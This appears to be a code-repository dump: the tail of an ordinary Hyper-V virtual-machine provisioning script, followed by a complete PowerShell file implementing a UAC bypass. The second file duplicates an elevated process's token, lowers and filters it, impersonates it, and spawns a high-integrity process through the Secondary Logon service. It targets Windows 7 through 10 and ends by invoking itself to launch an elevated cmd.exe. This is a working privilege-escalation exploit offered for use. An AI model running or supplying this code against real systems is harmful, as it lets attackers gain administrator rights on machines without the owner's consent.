| Write-Verbose "return the variable to be used as parameters" 146 | return $RuntimeParameterDictionary 147 | } 148 | 149 | begin { 150 | Write-Verbose "Default error action" 151 | $ErrorActionPreference = "Stop" 152 | 153 | Write-Verbose "Set the variables" 154 | $OS = $PSBoundParameters.OS 155 | $VMSwitch = $PSBoundParameters.VMSwitch 156 | $extension = $XML | Select-Xml -XPath "//*[@basename='$OS']" | Select-Object -ExpandProperty node | Select-Object -ExpandProperty extension 157 | $vhdfilename = $XML | Select-Xml -XPath "//*[@basename='$OS']" | Select-Object -ExpandProperty node | Select-Object -ExpandProperty filename 158 | $ParentVHDX = Join-Path $ParentDataStore ($vhdfilename + "." + $extension) 159 | $ChildVHDX = Join-Path -Path $ChildDataStore -ChildPath (((New-Guid).Guid) + ".vhdx") 160 | $MemoryStartupBytes = $xml.Configuration.vmconfig.MemoryStartupBytes 161 | 162 | if ($LegacyGeneration) { 163 | $Generation = 1 164 | } 165 | else { 166 | $Generation = $xml.Configuration.vmconfig.generation 167 | } 168 | 169 | $vmprocessorcount = $xml.Configuration.vmconfig.vmprocessorcount 170 | $MinimumBytes = $xml.Configuration.vmconfig.MinimumBytes 171 | $MaximumBytes = $xml.Configuration.vmconfig.MaximumBytes 172 | $AutomaticCheckpointsEnabled = [System.Convert]::ToBoolean($xml.Configuration.vmconfig.AutomaticCheckpointsEnabled) 173 | $GuestServiceInterface = [System.Convert]::ToBoolean($xml.Configuration.vmconfig.GuestServiceInterface) 174 | $AddVMDvdDrive = [System.Convert]::ToBoolean($xml.Configuration.vmconfig.AddVMDvdDrive) 175 | $EnableVMTPM = [System.Convert]::ToBoolean($xml.Configuration.vmconfig.EnableVMTPM) 176 | 177 | if (!($NoSecureBoot)) { 178 | $EnableSecureBoot = [System.Convert]::ToBoolean($xml.Configuration.vmconfig.EnableSecureBoot) 179 | $SecureBootTemplate = $xml.Configuration.vmconfig.SecureBootTemplate 180 | } 181 | 182 | } 183 | 184 | Process { 185 | 186 | Write-Verbose "Create the Virtual Disk" 187 | $VDISK = New-VHD -Path $ChildVHDX -ParentPath $ParentVHDX -Differencing 188 | $VHDPath = $VDISK.Path 189 | 190 | Write-Verbose "Create the Virtual Machine" 191 | $VM = New-VM -Generation $Generation -VHDPath $VHDPath 192 | 193 | Write-Verbose "Set the Virtual Switch" 194 | if ($VMSwitch) { 195 | Connect-VMNetworkAdapter -VMName ($VM.Name) -SwitchName $VMSwitch 196 | } 197 | 198 | Write-Verbose "Rename the Virtual Machine" 199 | if ($VMName) { 200 | Rename-VM -VM $VM -NewName $VMName 201 | } 202 | 203 | Write-Verbose "Set the Number of virtual processors" 204 | if ($vmprocessorcount) { 205 | Set-VM -VM $VM -ProcessorCount $vmprocessorcount 206 | } 207 | 208 | Write-Verbose "Set the startup memory" 209 | if ($MemoryStartupBytes) { 210 | set-vm -VM $VM -MemoryStartupBytes ($MemoryStartupBytes / 1) 211 | } 212 | 213 | Write-Verbose "Set the minimum memory" 214 | if ($MinimumBytes) { 215 | Set-VM $vm -DynamicMemory:$true -MemoryMinimumBytes ($MinimumBytes / 1) 216 | } 217 | 218 | Write-Verbose "Set the maximum memory" 219 | if ($MaximumBytes) { 220 | Set-VM $vm -DynamicMemory:$true -MemoryMaximumBytes ($MaximumBytes / 1) 221 | } 222 | 223 | Write-Verbose "Configure automatic CheckPoint Creation" 224 | if ($AutomaticCheckpointsEnabled) { 225 | Set-VM -VM $vm -AutomaticCheckpointsEnabled:$true 226 | } 227 | else { 228 | Set-VM -VM $vm -AutomaticCheckpointsEnabled:$false 229 | } 230 | 231 | Write-Verbose "Configure Guest Integration Services" 232 | if ($GuestServiceInterface) { 233 | Enable-VMIntegrationService -VM $vm -Name "Guest Service Interface" 234 | } 235 | else { 236 | Disable-VMIntegrationService -VM $vm -Name "Guest Service Interface" 237 | } 238 | 239 | Write-Verbose "Configure the DVD drive" 240 | if ($Generation -eq 2) { 241 | if ($AddVMDvdDrive) { 242 | Add-VMDvdDrive -VM $vm 243 | } 244 | } 245 | 246 | Write-Verbose "Configure the Virtual TPM" 247 | if ($Generation -eq 2) { 248 | If (!($NoVMTPM)) { 249 | if ($EnableVMTPM) { 250 | $UntrustedGuardian = Get-HgsGuardian -Name UntrustedGuardian -ErrorAction SilentlyContinue 251 | 252 | If (!$UntrustedGuardian) { 253 | $UntrustedGuardian = New-HgsGuardian -Name UntrustedGuardian –GenerateCertificates 254 | } 255 | 256 | $Owner = Get-HgsGuardian -Name "UntrustedGuardian" 257 | $KeyProtector = New-HgsKeyProtector -Owner $Owner -AllowUntrustedRoot 258 | Set-VMKeyProtector -VM $vm -KeyProtector $KeyProtector.RawData 259 | Enable-VMTPM -VM $vm 260 | } 261 | } 262 | } 263 | 264 | Write-Verbose "Configure SecureBoot" 265 | if ($Generation -eq 2) { 266 | if ($EnableSecureBoot) { 267 | Set-VMFirmware -VM $vm -EnableSecureBoot On -SecureBootTemplate $SecureBootTemplate 268 | } 269 | else { 270 | Set-VMFirmware -VM $vm -EnableSecureBoot Off 271 | } 272 | } 273 | 274 | Write-Verbose "Start the VM" 275 | if ($VMStart) { 276 | Start-VM -VM $vm 277 | } 278 | 279 | } 280 | 281 | end {} 282 | 283 | -------------------------------------------------------------------------------- /Scripts/token-magic.ps1: -------------------------------------------------------------------------------- 1 | function UAC-TokenMagic { 2 | <# 3 | .SYNOPSIS 4 | Based on James Forshaw's three part post on UAC, linked below, and possibly a technique 5 | used by the CIA! 6 | 7 | Essentially we duplicate the token of an elevated process, lower it's mandatory 8 | integrity level, use it to create a new restricted token, impersonate it and 9 | use the Secondary Logon service to spawn a new process with High IL. Like 10 | playing hide-and-go-seek with tokens! ;)) 11 | This technique even bypasses the AlwaysNotify setting provided you supply it with 12 | a PID for an elevated process. 13 | Targets: 14 | 7,8,8.1,10,10RS1,10RS2 15 | 16 | Reference: 17 | + https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html 18 | + https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-2.html 19 | + https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-3.html 20 | 21 | .DESCRIPTION 22 | Author: Ruben Boonen (@FuzzySec) 23 | License: BSD 3-Clause 24 | Required Dependencies: None 25 | Optional Dependencies: None 26 | .PARAMETER BinPath 27 | Full path of the module to be executed. 28 | .PARAMETER Args 29 | Arguments to pass to the module. 30 | .PARAMETER ProcPID 31 | PID of an elevated process. 32 | .EXAMPLE 33 | C:\PS> UAC-TokenMagic -BinPath C:\Windows\System32\cmd.exe 34 | .EXAMPLE 35 | C:\PS> UAC-TokenMagic -BinPath C:\Windows\System32\cmd.exe -Args "/c calc.exe" -ProcPID 1116 36 | #> 37 | 38 | param( 39 | [Parameter(Mandatory = $True)] 40 | [String]$BinPath, 41 | [Parameter(Mandatory = $False)] 42 | [String]$Args, 43 | [Parameter(Mandatory = $False)] 44 | [int]$ProcPID 45 | ) 46 | 47 | Add-Type -TypeDefinition @" 48 | using System; 49 | using System.Diagnostics; 50 | using System.Runtime.InteropServices; 51 | using System.Security.Principal; 52 | 53 | [StructLayout(LayoutKind.Sequential)] 54 | public struct PROCESS_INFORMATION 55 | { 56 | public IntPtr hProcess; 57 | public IntPtr hThread; 58 | public uint dwProcessId; 59 | public uint dwThreadId; 60 | } 61 | 62 | [StructLayout(LayoutKind.Sequential)] 63 | public struct SECURITY_ATTRIBUTES 64 | { 65 | public int nLength; 66 | public IntPtr lpSecurityDescriptor; 67 | public int bInheritHandle; 68 | } 69 | 70 | [StructLayout(LayoutKind.Sequential)] 71 | public struct TOKEN_MANDATORY_LABEL 72 | { 73 | public SID_AND_ATTRIBUTES Label; 74 | } 75 | 76 | [StructLayout(LayoutKind.Sequential)] 77 | public struct SID_AND_ATTRIBUTES 78 | { 79 | public IntPtr Sid; 80 | public UInt32 Attributes; 81 | } 82 | 83 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 84 | public struct STARTUPINFO 85 | { 86 | public uint cb; 87 | public string lpReserved; 88 | public string lpDesktop; 89 | public string lpTitle; 90 | public uint dwX; 91 | public uint dwY; 92 | public uint dwXSize; 93 | public uint dwYSize; 94 | public uint dwXCountChars; 95 | public uint dwYCountChars; 96 | public uint dwFillAttribute; 97 | public uint dwFlags; 98 | public short wShowWindow; 99 | public short cbReserved2; 100 | public IntPtr lpReserved2; 101 | public IntPtr hStdInput; 102 | public IntPtr hStdOutput; 103 | public IntPtr hStdError; 104 | } 105 | 106 | public struct SID_IDENTIFIER_AUTHORITY 107 | { 108 | [MarshalAs(UnmanagedType.ByValArray, SizeConst=6)] 109 | public byte[] Value; 110 | public SID_IDENTIFIER_AUTHORITY(byte[] value) 111 | { 112 | Value = value; 113 | } 114 | } 115 | 116 | [StructLayout(LayoutKind.Sequential)] 117 | public struct SHELLEXECUTEINFO 118 | { 119 | public int cbSize; 120 | public uint fMask; 121 | public IntPtr hwnd; 122 | [MarshalAs(UnmanagedType.LPTStr)] 123 | public string lpVerb; 124 | [MarshalAs(UnmanagedType.LPTStr)] 125 | public string lpFile; 126 | [MarshalAs(UnmanagedType.LPTStr)] 127 | public string lpParameters; 128 | [MarshalAs(UnmanagedType.LPTStr)] 129 | public string lpDirectory; 130 | public int nShow; 131 | public IntPtr hInstApp; 132 | public IntPtr lpIDList; 133 | [MarshalAs(UnmanagedType.LPTStr)] 134 | public string lpClass; 135 | public IntPtr hkeyClass; 136 | public uint dwHotKey; 137 | public IntPtr hIcon; 138 | public IntPtr hProcess; 139 | } 140 | public static class UACTokenMagic 141 | { 142 | [DllImport("advapi32.dll", CharSet=CharSet.Unicode, SetLastError=true)] 143 | public static extern bool CreateProcessWithLogonW( 144 | String userName, 145 | String domain, 146 | String password, 147 | int logonFlags, 148 | String applicationName, 149 | String commandLine, 150 | int creationFlags, 151 | int environment, 152 | String currentDirectory, 153 | ref STARTUPINFO startupInfo, 154 | out PROCESS_INFORMATION processInformation); 155 | 156 | [DllImport("kernel32.dll", CharSet = CharSet.Auto)] 157 | public static extern IntPtr CreateFile( 158 | String lpFileName, 159 | UInt32 dwDesiredAccess, 160 | UInt32 dwShareMode, 161 | IntPtr lpSecurityAttributes, 162 | UInt32 dwCreationDisposition, 163 | UInt32 dwFlagsAndAttributes, 164 | IntPtr hTemplateFile); 165 | [DllImport("kernel32.dll")] 166 | public static extern IntPtr OpenProcess( 167 | UInt32 processAccess, 168 | bool bInheritHandle, 169 | int processId); 170 | 171 | [DllImport("advapi32.dll")] 172 | public static extern bool OpenProcessToken( 173 | IntPtr ProcessHandle, 174 | int DesiredAccess, 175 | ref IntPtr TokenHandle); 176 | 177 | [DllImport("advapi32.dll", CharSet=CharSet.Auto)] 178 | public extern static bool DuplicateTokenEx( 179 | IntPtr hExistingToken, 180 | uint dwDesiredAccess, 181 | ref SECURITY_ATTRIBUTES lpTokenAttributes, 182 | int ImpersonationLevel, 183 | int TokenType, 184 | ref IntPtr phNewToken); 185 | 186 | [DllImport("advapi32.dll")] 187 | public static extern bool AllocateAndInitializeSid( 188 | ref SID_IDENTIFIER_AUTHORITY pIdentifierAuthority, 189 | byte nSubAuthorityCount, 190 | int dwSubAuthority0, int dwSubAuthority1, 191 | int dwSubAuthority2, int dwSubAuthority3, 192 | int dwSubAuthority4, int dwSubAuthority5, 193 | int dwSubAuthority6, int dwSubAuthority7, 194 | ref IntPtr pSid); 195 | 196 | [DllImport("ntdll.dll")] 197 | public static extern int NtSetInformationToken( 198 | IntPtr TokenHandle, 199 | int TokenInformationClass, 200 | ref TOKEN_MANDATORY_LABEL TokenInformation, 201 | int TokenInformationLength); 202 | [DllImport("ntdll.dll")] 203 | public static extern int NtFilterToken( 204 | IntPtr TokenHandle, 205 | UInt32 Flags, 206 | IntPtr SidsToDisable, 207 | IntPtr PrivilegesToDelete, 208 | IntPtr RestrictedSids, 209 | ref IntPtr hToken); 210 | 211 | [DllImport("advapi32.dll")] 212 | public static extern bool ImpersonateLoggedOnUser( 213 | IntPtr hToken); 214 | 215 | [DllImport("kernel32.dll", SetLastError=true)] 216 | public static extern bool TerminateProcess( 217 | IntPtr hProcess, 218 | uint uExitCode); 219 | 220 | [DllImport("shell32.dll", CharSet = CharSet.Auto)] 221 | public static extern bool ShellExecuteEx( 222 | ref SHELLEXECUTEINFO lpExecInfo); 223 | } 224 | "@ 225 | 226 | # Test elevated access 227 | $TestAccess = New-Item -Path C:\Windows\System32\test.txt -Type file -ErrorAction SilentlyContinue 228 | if (!$TestAccess) { 229 | echo "`n[*] Session is not elevated" 230 | } else { 231 | echo "`n[!] Session is elevated!`n" 232 | del C:\Windows\System32\test.txt 233 | Break 234 | } 235 | 236 | if ($ProcPID){ 237 | $IsValidProc = Get-Process -Id $ProcPID -ErrorAction SilentlyContinue 238 | if (!$IsValidProc) { 239 | echo "[!] Invalid process specified!`n" 240 | Break 241 | } 242 | 243 | # We don't actually check if the process is elevated, be smart 244 | # QueryLimitedInformation = 0x1000 245 | $hProcess = [UACTokenMagic]::OpenProcess(0x00001000,$false,$ProcPID) 246 | if ($hProcess -ne 0) { 247 | echo "[*] Successfully acquired $((Get-Process -Id $ProcPID).Name) handle" 248 | } else { 249 | echo "[!] Failed to get process token!`n" 250 | Break 251 | } 252 | } else { 253 | # Prepare ShellExecuteEx 254 | $ShellExecuteInfo = New-Object SHELLEXECUTEINFO 255 | $ShellExecuteInfo.cbSize = [System.Runtime.InteropServices.Marshal]::SizeOf($ShellExecuteInfo) 256 | $ShellExecuteInfo.fMask = 0x40 # SEE_MASK_NOCLOSEPROCESS 257 | $ShellExecuteInfo.lpFile = "wusa.exe" 258 | $ShellExecuteInfo.nShow = 0x0 # SW_HIDE 259 | 260 | if ([UACTokenMagic]::ShellExecuteEx([ref]$ShellExecuteInfo)) { 261 | echo "[*] WUSA process created" 262 | $hProcess = $ShellExecuteInfo.hProcess 263 | } else { 264 | echo "[!] Failed to create WUSA process!`n" 265 | Break 266 | } 267 | } 268 | 269 | # Open process token 270 | $hToken = [IntPtr]::Zero 271 | if ([UACTokenMagic]::OpenProcessToken($hProcess,0x02000000,[ref]$hToken)) { 272 | echo "[*] Opened process token" 273 | } else { 274 | echo "[!] Failed open process token!`n" 275 | Break 276 | } 277 | 278 | # Duplicate token 279 | # TOKEN_ALL_ACCESS = 0xf01ff 280 | $hNewToken = [IntPtr]::Zero 281 | $SECURITY_ATTRIBUTES = New-Object SECURITY_ATTRIBUTES 282 | if ([UACTokenMagic]::DuplicateTokenEx($hToken,0xf01ff,[ref]$SECURITY_ATTRIBUTES,2,1,[ref]$hNewToken)) { 283 | echo "[*] Duplicated process token" 284 | } else { 285 | echo "[!] Failed to duplicate process token!`n" 286 | Break 287 | } 288 | 289 | # SID initialize 290 | $SID_IDENTIFIER_AUTHORITY = New-Object SID_IDENTIFIER_AUTHORITY 291 | $SID_IDENTIFIER_AUTHORITY.Value = [Byte[]](0x0,0x0,0x0,0x0,0x0,0x10) 292 | $pSID = [IntPtr]::Zero 293 | if ([UACTokenMagic]::AllocateAndInitializeSid([ref]$SID_IDENTIFIER_AUTHORITY,1,0x2000,0,0,0,0,0,0,0,[ref]$pSID)) { 294 | echo "[*] Initialized MedIL SID" 295 | } else { 296 | echo "[!] Failed initialize SID!`n" 297 | Break 298 | } 299 | 300 | # Token integrity label 301 | $SID_AND_ATTRIBUTES = New-Object SID_AND_ATTRIBUTES 302 | $SID_AND_ATTRIBUTES.Sid = $pSID 303 | $SID_AND_ATTRIBUTES.Attributes = 0x20 # SE_GROUP_INTEGRITY 304 | $TOKEN_MANDATORY_LABEL = New-Object TOKEN_MANDATORY_LABEL 305 | $TOKEN_MANDATORY_LABEL.Label = $SID_AND_ATTRIBUTES 306 | $TOKEN_MANDATORY_LABEL_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($TOKEN_MANDATORY_LABEL) 307 | if([UACTokenMagic]::NtSetInformationToken($hNewToken,25,[ref]$TOKEN_MANDATORY_LABEL,$($TOKEN_MANDATORY_LABEL_SIZE)) -eq 0) { 308 | echo "[*] Lowered token mandatory IL" 309 | } else { 310 | echo "[!] Failed modify token!`n" 311 | Break 312 | } 313 | 314 | # Create restricted token 315 | # LUA_TOKEN = 0x4 316 | $LUAToken = [IntPtr]::Zero 317 | if([UACTokenMagic]::NtFilterToken($hNewToken,4,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[ref]$LUAToken) -eq 0) { 318 | echo "[*] Created restricted token" 319 | } else { 320 | echo "[!] Failed to create restricted token!`n" 321 | Break 322 | } 323 | 324 | # Duplicate restricted token 325 | # TOKEN_IMPERSONATE | TOKEN_QUERY = 0xc 326 | $hNewToken = [IntPtr]::Zero 327 | $SECURITY_ATTRIBUTES = New-Object SECURITY_ATTRIBUTES 328 | if ([UACTokenMagic]::DuplicateTokenEx($LUAToken,0xc,[ref]$SECURITY_ATTRIBUTES,2,2,[ref]$hNewToken)) { 329 | echo "[*] Duplicated restricted token" 330 | } else { 331 | echo "[!] Failed to duplicate restricted token!`n" 332 | Break 333 | } 334 | 335 | # Impersonate security context 336 | if([UACTokenMagic]::ImpersonateLoggedOnUser($hNewToken)) { 337 | echo "[*] Successfully impersonated security context" 338 | } else { 339 | echo "[!] Failed impersonate context!`n" 340 | Break 341 | } 342 | 343 | # Prepare CreateProcessWithLogon 344 | $StartupInfo = New-Object STARTUPINFO 345 | $StartupInfo.dwFlags = 0x00000001 346 | $StartupInfo.wShowWindow = 0x0001 347 | $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) 348 | $ProcessInfo = New-Object PROCESS_INFORMATION 349 | 350 | # Spawn elevated process 351 | # LOGON_NETCREDENTIALS_ONLY = 0x2 352 | $CurrentDirectory = $Env:SystemRoot 353 | if ([UACTokenMagic]::CreateProcessWithLogonW("aaa", "bbb", "ccc", 0x00000002, $BinPath, $Args, 0x04000000, $null, $CurrentDirectory,[ref]$StartupInfo, [ref]$ProcessInfo)) { 354 | echo "[*] Magic..`n" 355 | } else { 356 | echo "[!] Failed to create process!`n" 357 | Break 358 | } 359 | 360 | # Kill wusa, there should be more/robust cleanup in the script, but ... lazy 361 | if (!$ProcPID) { 362 | $CallResult = [UACTokenMagic]::TerminateProcess($ShellExecuteInfo.hProcess, 1) 363 | } 364 | } 365 | 366 | 367 | UAC-TokenMagic -BinPath C:\Windows\System32\cmd.exe --------------------------------------------------------------------------------